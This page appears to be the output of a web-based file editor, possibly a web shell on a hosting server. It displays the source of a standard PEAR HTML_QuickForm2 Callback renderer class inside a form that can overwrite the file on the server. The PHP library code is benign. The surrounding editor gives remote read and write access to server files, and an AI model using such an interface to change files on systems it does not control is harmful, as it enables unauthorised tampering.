<h2>File Contents: /home/planet5/www/4xpips.net/secure/library/pear/HTML/QuickForm2/Renderer/copy_of_Callback.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/4xpips.net/secure/library/pear/HTML/QuickForm2/Renderer/copy_of_Callback.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Callback renderer for HTML_QuickForm2
 *
 * PHP version 5
 *
 * LICENSE:
 *
 * Copyright (c) 2006-2011, Alexey Borzov &lt;avb@php.net&gt;,
 *                          Bertrand Mansion &lt;golgote@mamasam.com&gt;
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *    * Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *    * Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *    * The names of the authors may not be used to endorse or promote products
 *      derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS
 * IS&quot; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
 * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
 * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
 * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category   HTML
 * @package    HTML_QuickForm2
 * @author     Alexey Borzov &lt;avb@php.net&gt;
 * @author     Bertrand Mansion &lt;golgote@mamasam.com&gt;
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    SVN: $Id: Callback.php 316761 2011-09-14 16:08:37Z mansion $
 * @link       http://pear.php.net/package/HTML_QuickForm2
 */

/**
 * Abstract base class for QuickForm2 renderers
 */
require_once &#039;HTML/QuickForm2/Renderer.php&#039;;

/**
 * Callback renderer for QuickForm2
 *
 * This renderer uses PHP callbacks to render form elements
 *
 * While almost everything in this class is defined as public, its properties
 * and those methods that are not published (i.e. not in array returned by
 * exportMethods()) will be available to renderer plugins only.
 *
 * The following methods are published:
 *   - {@link reset()}
 *   - {@link setCallbackForClass()}
 *   - {@link setCallbackForId()}
 *   - {@link setErrorGroupCallback()}
 *   - {@link setElementCallbackForGroupClass()}
 *   - {@link setElementCallbackForGroupId()}
 *   - {@link setHiddenGroupCallback()}
 *   - {@link setRequiredNoteCallback()}
 *   - {@link setLabelCallback()}
 *
 * Using a callback to render a Submit button and a Cancel link:
 * &lt;code&gt;
 * function renderSubmitCancel($renderer, $submit) {
 *   $data = $submit-&gt;getData();
 *   $url = !empty($data[&#039;cancel&#039;]) ? $data[&#039;cancel&#039;] : &#039;/&#039;;
 *   return &#039;&lt;div&gt;&#039;.$submit.&#039; or &lt;a href=&quot;&#039;.$url.&#039;&quot;&gt;Cancel&lt;/a&gt;&lt;/div&gt;&#039;;
 * }
 * $renderer = HTML_QuickForm2_Renderer::factory(&#039;callback&#039;);
 * $renderer-&gt;setCallbackForId($submit-&gt;getId(), &#039;renderSubmitCancel&#039;);
 * &lt;/code&gt;
 *
 * @category   HTML
 * @package    HTML_QuickForm2
 * @author     Alexey Borzov &lt;avb@php.net&gt;
 * @author     Bertrand Mansion &lt;golgote@mamasam.com&gt;
 * @version    Release: @package_version@
 */
class HTML_QuickForm2_Renderer_Callback extends HTML_QuickForm2_Renderer
{
   /**
    * Whether the form contains required elements
    * @var  bool
    */
    public $hasRequired = false;

   /**
    * HTML generated for the form
    * @var  array
    */
    public $html = array(array());

   /**
    * HTML for hidden elements if &#039;group_hiddens&#039; option is on
    * @var  string
    */
    public $hiddenHtml = &#039;&#039;;

   /**
    * HTML for hidden elements if &#039;group_hiddens&#039; option is on
    * @var  string
    */
    public $hidden = array();

   /**
    * Array of validation errors if &#039;group_errors&#039; option is on
    * @var  array
    */
    public $errors = array();

    /**
    * Callback used to render errors if &#039;group_errors&#039; is on
    * @var  mixed
    */
    public $errorGroupCallback = array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderErrorsGroup&#039;);

    /**
    * Callback used to render hidden elements
    * @var  mixed
    */
    public $hiddenGroupCallback = array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderHiddenGroup&#039;);

    /**
    * Callback used to render required note
    * @var  mixed
    */
    public $requiredNoteCallback = array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderRequiredNote&#039;);

    /**
    * Callback used to render labels
    * @var  mixed
    */
    public $labelCallback = array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderLabel&#039;);

   /**
    * Array of callbacks defined using an element or container ID
    * @var  array
    */
    public $callbacksForId = array();

    /**
    * Array of callbacks defined using an element class
    * @var  array
    */
    public $callbacksForClass = array(
        &#039;html_quickform2&#039;                     =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderForm&#039;),
        &#039;html_quickform2_element&#039;             =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderElement&#039;),
        &#039;html_quickform2_element_inputhidden&#039; =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderHidden&#039;),
        &#039;html_quickform2_container&#039;           =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderContainer&#039;),
        &#039;html_quickform2_container_group&#039;     =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderGroup&#039;),
        &#039;html_quickform2_container_fieldset&#039;  =&gt; array(&#039;HTML_QuickForm2_Renderer_Callback&#039;, &#039;_renderFieldset&#039;)
    );

    /**
    * Array of callbacks defined using a group ID
    * @var  array
    */
    public $elementCallbacksForGroupId = array();

    /**
    * Array of callbacks defined using a group class
    * @var  array
    */
    public $elementCallbacksForGroupClass = array();

   /**
    * Array containing IDs of the groups being rendered
    * @var  array
    */
    public $groupId = array();

    protected function exportMethods()
    {
        return array(
            &#039;reset&#039;,
            &#039;setCallbackForClass&#039;,
            &#039;setCallbackForId&#039;,
            &#039;setErrorGroupCallback&#039;,
            &#039;setElementCallbackForGroupClass&#039;,
            &#039;setElementCallbackForGroupId&#039;,
            &#039;setHiddenGroupCallback&#039;,
            &#039;setRequiredNoteCallback&#039;,
            &#039;setLabelCallback&#039;
        );
    }

    public static function _renderForm(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2 $form)
    {
        $break = HTML_Common2::getOption(&#039;linebreak&#039;);
        $html[] = &#039;&lt;div class=&quot;quickform&quot;&gt;&#039;;
        $html[] = call_user_func($renderer-&gt;errorGroupCallback, $renderer, $form);
        $html[] = &#039;&lt;form&#039;.$form-&gt;getAttributes(true).&#039;&gt;&lt;div&gt;&#039;;
        $html[] = call_user_func($renderer-&gt;hiddenGroupCallback, $renderer, $form);
        $html[] = implode($break, array_pop($renderer-&gt;html));
        $html[] = &#039;&lt;/div&gt;&lt;/form&gt;&#039;;
        $html[] = call_user_func($renderer-&gt;requiredNoteCallback, $renderer, $form);
        $script = $renderer-&gt;getJavascriptBuilder()-&gt;getFormJavascript($form-&gt;getId());
        if (!empty($script)) {
            $html[] = $script;
        }
        $html[] = &#039;&lt;/div&gt;&#039;;
        return implode($break, $html) . $break;
    }

    public static function _renderElement(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2_Element $element)
    {
        $html[] = &#039;&lt;div class=&quot;row&quot;&gt;&#039;;
        $html[] = $renderer-&gt;renderLabel($element);
        $error = $element-&gt;getError();
        if ($error) {
            $html[] = &#039;&lt;div class=&quot;element error&quot;&gt;&#039;;
            if ($renderer-&gt;getOption(&#039;group_errors&#039;)) {
                $renderer-&gt;errors[] = $error;
            } else {
                $html[] = &#039;&lt;span class=&quot;error&quot;&gt;&#039;.$error.&#039;&lt;/span&gt;&lt;br /&gt;&#039;;
            }
        } else {
            $html[] = &#039;&lt;div class=&quot;element&quot;&gt;&#039;;
        }
        $html[] = $element-&gt;__toString();
        $html[] = &#039;&lt;/div&gt;&#039;;
        $html[] = &#039;&lt;/div&gt;&#039;;
        return implode(&quot;&quot;, $html);
    }

    public static function _renderErrorsGroup(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2 $form)
    {
        $html = array();
        if (!empty($renderer-&gt;errors)) {
            $html[] = &#039;&lt;div class=&quot;errors&quot;&gt;&#039;;
            if (($prefix = $renderer-&gt;getOption(&#039;errors_prefix&#039;)) &amp;&amp; 
                !empty($prefix)) {
                $html[] = &#039;&lt;p&gt;&#039; . $prefix . &#039;&lt;/p&gt;&#039;;
            }
            $html[] = &#039;&lt;ul&gt;&#039;;
            foreach ($renderer-&gt;errors as $error) {
                $html[] = &#039;&lt;li&gt;&#039; . $error . &#039;&lt;/li&gt;&#039;;
            }
            $html[] = &#039;&lt;/ul&gt;&#039;;
            if (($suffix = $renderer-&gt;getOption(&#039;errors_suffix&#039;)) &amp;&amp; 
                !empty($suffix)) {
                $html[] = &#039;&lt;p&gt;&#039; . $suffix . &#039;&lt;/p&gt;&#039;;
            }
            $html[] = &#039;&lt;/div&gt;&#039;;
        }
        return implode(&quot;&quot;, $html);
    }

    public static function _renderHidden(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2_Element_InputHidden $hidden)
    {
        return &#039;&lt;div style=&quot;display: none;&quot;&gt;&#039;.$hidden-&gt;__toString().&#039;&lt;/div&gt;&#039;;
    }

    public static function _renderHiddenGroup(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2 $form)
    {
        if (empty($renderer-&gt;hidden)) {
            return &#039;&#039;;
        }
        $html = array();
        foreach ($renderer-&gt;hidden as $hidden) {
            $html[] = $hidden-&gt;__toString();
        }
        return &#039;&lt;div style=&quot;display: none;&quot;&gt;&#039;.implode(&#039;&#039;, $html).&#039;&lt;/div&gt;&#039;;
    }

    public static function _renderRequiredNote(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2 $form)
    {
        if ($renderer-&gt;hasRequired &amp;&amp; !$form-&gt;toggleFrozen(null)) {
            if (($note = $renderer-&gt;getOption(&#039;required_note&#039;)) &amp;&amp; !empty($note)) {
                return &#039;&lt;div class=&quot;reqnote&quot;&gt;&#039;.$note.&#039;&lt;/div&gt;&#039;;
            }
        }
    }

    public static function _renderContainer(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2_Container $container)
    {
        $break  = HTML_Common2::getOption(&#039;linebreak&#039;);
        return implode($break, array_pop($renderer-&gt;html));
    }

    public static function _renderGroup(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2_Container_Group $group)
    {
        $break = HTML_Common2::getOption(&#039;linebreak&#039;);
        $html[] = &#039;&lt;div class=&quot;row&quot;&gt;&#039;;
        $html[] = $renderer-&gt;renderLabel($group);
        $error = $group-&gt;getError();
        if ($error) {
            $html[] = &#039;&lt;div class=&quot;element group error&quot;&gt;&#039;;
            if ($renderer-&gt;getOption(&#039;group_errors&#039;)) {
                $renderer-&gt;errors[] = $error;
            } else {
                $html[] = &#039;&lt;span class=&quot;error&quot;&gt;&#039;.$error.&#039;&lt;/span&gt;&lt;br /&gt;&#039;;
            }
        } else {
            $html[] = &#039;&lt;div class=&quot;element group&quot;&gt;&#039;;
        }

        $separator = $group-&gt;getSeparator();
        $elements  = array_pop($renderer-&gt;html);
        if (!is_array($separator)) {
            $content = implode((string)$separator, $elements);
        } else {
            $content    = &#039;&#039;;
            $cSeparator = count($separator);
            for ($i = 0, $count = count($elements); $i &lt; $count; $i++) {
                $content .= (0 == $i? &#039;&#039;: $separator[($i - 1) % $cSeparator]) .
                            $elements[$i];
            }
        }
        $html[] = $content;
        $html[] = &#039;&lt;/div&gt;&#039;;
        $html[] = &#039;&lt;/div&gt;&#039;;
        return implode($break, $html) . $break;
    }

    public static function _renderFieldset(HTML_QuickForm2_Renderer $renderer,
        HTML_QuickForm2_Container_Fieldset $fieldset)
    {
        $break = HTML_Common2::getOption(&#039;linebreak&#039;);
        $html[] = &#039;&lt;fieldset&#039;.$fieldset-&gt;getAttributes(true).&#039;&gt;&#039;;
        $label = $fieldset-&gt;getLabel();
        if (!empty($label)) {
            $html[] = sprintf(&#039;&lt;legend id=&quot;%s-legend&quot;&gt;%s&lt;/legend&gt;&#039;,
                $fieldset-&gt;getId(), $label);
        }
        $elements = array_pop($renderer-&gt;html);
        $html[] = implode($break, $elements);
        $html[] = &#039;&lt;/fieldset&gt;&#039;;
        return implode($break, $html) . $break;
    }

    public static function _renderLabel(HTML_QuickForm2_Renderer $renderer, 
        HTML_QuickForm2_Node $node)
    {
        $html = array();
        $label = $node-&gt;getLabel();
        if (!is_array($label)) {
            $label = array($label);
        }
        if ($node-&gt;isRequired()) {
            $renderer-&gt;hasRequired = true;
        }
        if (!empty($label[0])) {
            if ($node instanceof HTML_QuickForm2_Container) {
                $html[] = &#039;&lt;label class=&quot;element&quot;&gt;&#039;;
            } else {
                $html[] = &#039;&lt;label for=&quot;&#039;.$node-&gt;getId().&#039;&quot; class=&quot;element&quot;&gt;&#039;;
            }
            if ($node-&gt;isRequired()) {
                $html[] = &#039;&lt;span class=&quot;required&quot;&gt;* &lt;/span&gt;&#039;;
            }
            $html[] = array_shift($label);
            $html[] = &#039;&lt;/label&gt;&#039;;
        }
        return implode(&#039;&#039;, $html);
    }

   /**
    * Renders a generic element
    *
    * @param    HTML_QuickForm2_Node    Element being rendered
    */
    public function renderElement(HTML_QuickForm2_Node $element)
    {
        $default = $this-&gt;callbacksForClass[&#039;html_quickform2_element&#039;];
        $callback = $this-&gt;findCallback($element, $default);
        $res = call_user_func_array($callback, array($this, $element));
        $this-&gt;html[count($this-&gt;html) - 1][] = $res;
    }

    /**
     * Renders an element label
     *
     * @param    HTML_QuickForm2_Node    Element being rendered
     */
     public function renderLabel(HTML_QuickForm2_Node $element)
     {
         return call_user_func_array($this-&gt;labelCallback, array($this, $element));
     }

   /**
    * Renders a hidden element
    *
    * @param    HTML_QuickForm2_Node    Hidden element being rendered
    */
    public function renderHidden(HTML_QuickForm2_Node $element)
    {
        if ($this-&gt;getOption(&#039;group_hiddens&#039;)) {
            $this-&gt;hidden[] = $element;
        } else {
            $default = $this-&gt;callbacksForClass[&#039;html_quickform2_element_inputhidden&#039;];
            $callback = $this-&gt;findCallback($element, $default);
            $this-&gt;html[count($this-&gt;html) - 1][] = call_user_func_array(
                $callback, array($this, $element));
        }
    }

   /**
    * Starts rendering a generic container, called before processing contained elements
    *
    * @param    HTML_QuickForm2_Node    Container being rendered
    */
    public function startContainer(HTML_QuickForm2_Node $container)
    {
        $this-&gt;html[]    = array();
        $this-&gt;groupId[] = false;
    }

   /**
    * Finishes rendering a generic container, called after processing contained elements
    *
    * @param    HTML_QuickForm2_Node    Container being rendered
    */
    public function finishContainer(HTML_QuickForm2_Node $container)
    {
        array_pop($this-&gt;groupId);
        $default = $this-&gt;callbacksForClass[&#039;html_quickform2_container&#039;];
        $callback = $this-&gt;findCallback($container, $default);
        $res = call_user_func_array($callback, array($this, $container));
        $this-&gt;html[count($this-&gt;html) - 1][] = $res;
    }

   /**
    * Starts rendering a group, called before processing grouped elements
    *
    * @param    HTML_QuickForm2_Node    Group being rendered
    */
    public function startGroup(HTML_QuickForm2_Node $group)
    {
        $this-&gt;html[]    = array();
        $this-&gt;groupId[] = $group-&gt;getId();
    }

   /**
    * Finishes rendering a group, called after processing grouped elements
    *
    * @param    HTML_QuickForm2_Node    Group being rendered
    */
    public function finishGroup(HTML_QuickForm2_Node $group)
    {
        array_pop($this-&gt;groupId);
        $default = $this-&gt;callbacksForClass[&#039;html_quickform2_container_group&#039;];
        $callback = $this-&gt;findCallback($group, $default);
        $res = call_user_func_array($callback, array($this, $group));
        $this-&gt;html[count($this-&gt;html) - 1][] = $res;
    }

   /**
    * Starts rendering a form, called before processing contained elements
    *
    * @param    HTML_QuickForm2_Node    Form being rendered
    */
    public function startForm(HTML_QuickForm2_Node $form)
    {
        $this-&gt;reset();
    }

   /**
    * Finishes rendering a form, called after processing contained elements
    *
    * @param    HTML_QuickForm2_Node    Form being rendered
    */
    public function finishForm(HTML_QuickForm2_Node $form)
    {
        $default = $this-&gt;callbacksForClass[&#039;html_quickform2&#039;];
        $callback = $this-&gt;findCallback($form, $default);
        $this-&gt;html[0] = array(call_user_func_array(
                $callback, array($this, $form)));
    }

    private function _validateCallback($callback)
    {
        if (is_callable($callback) || is_null($callback)) {
            return true;
        }
        throw new HTML_QuickForm2_InvalidArgumentException(
                &quot;Renderer callback is invalid&quot;
                );
    }

    /**
    * Sets callback for rendering labels
    *
    * @param    mixed   PHP callback
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setLabelCallback($callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;labelCallback = $callback;
        }
        return $this;
    }

   /**
    * Sets callback for rendering hidden elements if option group_hiddens is true
    *
    * @param    mixed   PHP callback
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setHiddenGroupCallback($callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;hiddenGroupCallback = $callback;
        }
        return $this;
    }

   /**
    * Sets callback for rendering required note
    *
    * @param    mixed   PHP callback
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setRequiredNoteCallback($callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;requiredNoteCallback = $callback;
        }
        return $this;
    }

   /**
    * Sets callback for form elements that are instances of the given class
    *
    * When searching for a callback to use, renderer will check for callbacks
    * set for element&#039;s class and its parent classes, until found. Thus a more
    * specific callbacks will override a more generic one.
    *
    * @param    string  Class name
    * @param    mixed   Callback to use for elements of that class
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setCallbackForClass($className, $callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;callbacksForClass[strtolower($className)] = $callback;
        }
        return $this;
    }

   /**
    * Sets callback for form element with the given id
    *
    * If a callback is set for an element via this method, it will be used.
    * In the other case a generic callback set by {@link setCallbackForClass()}
    * or {@link setGroupedCallbackForClass()} will be used.
    *
    * @param    string  Element&#039;s id
    * @param    mixed   Callback to use for rendering of that element
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setCallbackForId($id, $callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;callbacksForId[$id] = $callback;
        }
        return $this;
    }

   /**
    * Sets callback for rendering validation errors
    *
    * This callback will be used if &#039;group_errors&#039; option is set to true.
    *
    * @param    mixed   Callback for validation errors
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setErrorGroupCallback($callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;errorGroupCallback = $callback;
        }
        return $this;
    }

   /**
    * Sets grouped elements callbacks using group class
    *
    * Callbacks set via {@link setCallbackForClass()} will not be used for
    * grouped form elements. When searching for a callback to use, the renderer
    * will first consider callback set for a specific group id, then the
    * group callback set by group class.
    *
    * @param    string  Group class name
    * @param    string  Element class name
    * @param    mixed   Callback
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setElementCallbackForGroupClass($groupClass, $elementClass, $callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;elementCallbacksForGroupClass[strtolower($groupClass)][strtolower($elementClass)] = $callback;
        }
        return $this;
    }

   /**
    * Sets grouped elements callback using group id
    *
    * Callbacks set via {@link setCallbackForClass()} will not be used for
    * grouped form elements. When searching for a callback to use, the renderer
    * will first consider callback set for a specific group id, then the
    * group callbacks set by group class.
    *
    * @param    string  Group id
    * @param    string  Element class name
    * @param    mixed   Callback
    * @return   HTML_QuickForm2_Renderer_Callback
    */
    public function setElementCallbackForGroupId($groupId, $elementClass, $callback)
    {
        if ($this-&gt;_validateCallback($callback)) {
            $this-&gt;elementCallbacksForGroupId[$groupId][strtolower($elementClass)] = $callback;
        }
        return $this;
    }

   /**
    * Resets the accumulated data
    *
    * This method is called automatically by startForm() method, but should
    * be called manually before calling other rendering methods separately.
    *
    * @return HTML_QuickForm2_Renderer_Default
    */
    public function reset()
    {
        $this-&gt;html        = array(array());
        $this-&gt;hiddenHtml  = &#039;&#039;;
        $this-&gt;errors      = array();
        $this-&gt;hidden      = array();
        $this-&gt;hasRequired = false;
        $this-&gt;groupId     = array();

        return $this;
    }

   /**
    * Returns generated HTML
    *
    * @return string
    */
    public function __toString()
    {
        return (isset($this-&gt;html[0][0])? $this-&gt;html[0][0]: &#039;&#039;);
    }

   /**
    * Finds a proper callback for the element
    *
    * Callbacks are scanned in a predefined order. First, if a callback was
    * set for a specific element by id, it is returned, no matter if the
    * element belongs to a group. If the element does not belong to a group,
    * we try to match a callback using the element class.
    * But, if the element belongs to a group, callbacks are first looked up
    * using the containing group id, then using the containing group class.
    * When no callback is found, the provided default callback is returned.
    *
    * @param    HTML_QuickForm2_Node    Element being rendered
    * @param    mixed                   Default callback to use if not found
    * @return   mixed  Callback
    */
    public function findCallback(HTML_QuickForm2_Node $element, $default = null)
    {
        if (!empty($this-&gt;callbacksForId[$element-&gt;getId()])) {
            return $this-&gt;callbacksForId[$element-&gt;getId()];
        }
        $class          = strtolower(get_class($element));
        $groupId        = end($this-&gt;groupId);
        $elementClasses = array();
        do {
            if (empty($groupId) &amp;&amp; !empty($this-&gt;callbacksForClass[$class])) {
                return $this-&gt;callbacksForClass[$class];
            }
            $elementClasses[$class] = true;
        } while ($class = strtolower(get_parent_class($class)));

        if (!empty($groupId)) {
            if (!empty($this-&gt;elementCallbacksForGroupId[$groupId])) {
                while (list($elClass) = each($elementClasses)) {
                    if (!empty($this-&gt;elementCallbacksForGroupId[$groupId][$elClass])) {
                        return $this-&gt;elementCallbacksForGroupId[$groupId][$elClass];
                    }
                }
            }

            $group = $element-&gt;getContainer();
            $grClass = strtolower(get_class($group));
            do {
                if (!empty($this-&gt;elementCallbacksForGroupClass[$grClass])) {
                    reset($elementClasses);
                    while (list($elClass) = each($elementClasses)) {
                        if (!empty($this-&gt;elementCallbacksForGroupClass[$grClass][$elClass])) {
                            return $this-&gt;elementCallbacksForGroupClass[$grClass][$elClass];
                        }
                    }
                }
            } while ($grClass = strtolower(get_parent_class($grClass)));
        }
        return $default;
    }
}
?&gt;</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2F4xpips.net%2Fsecure%2Flibrary%2Fpear%2FHTML%2FQuickForm2%2FRenderer'>⬅ Back to Directory</a>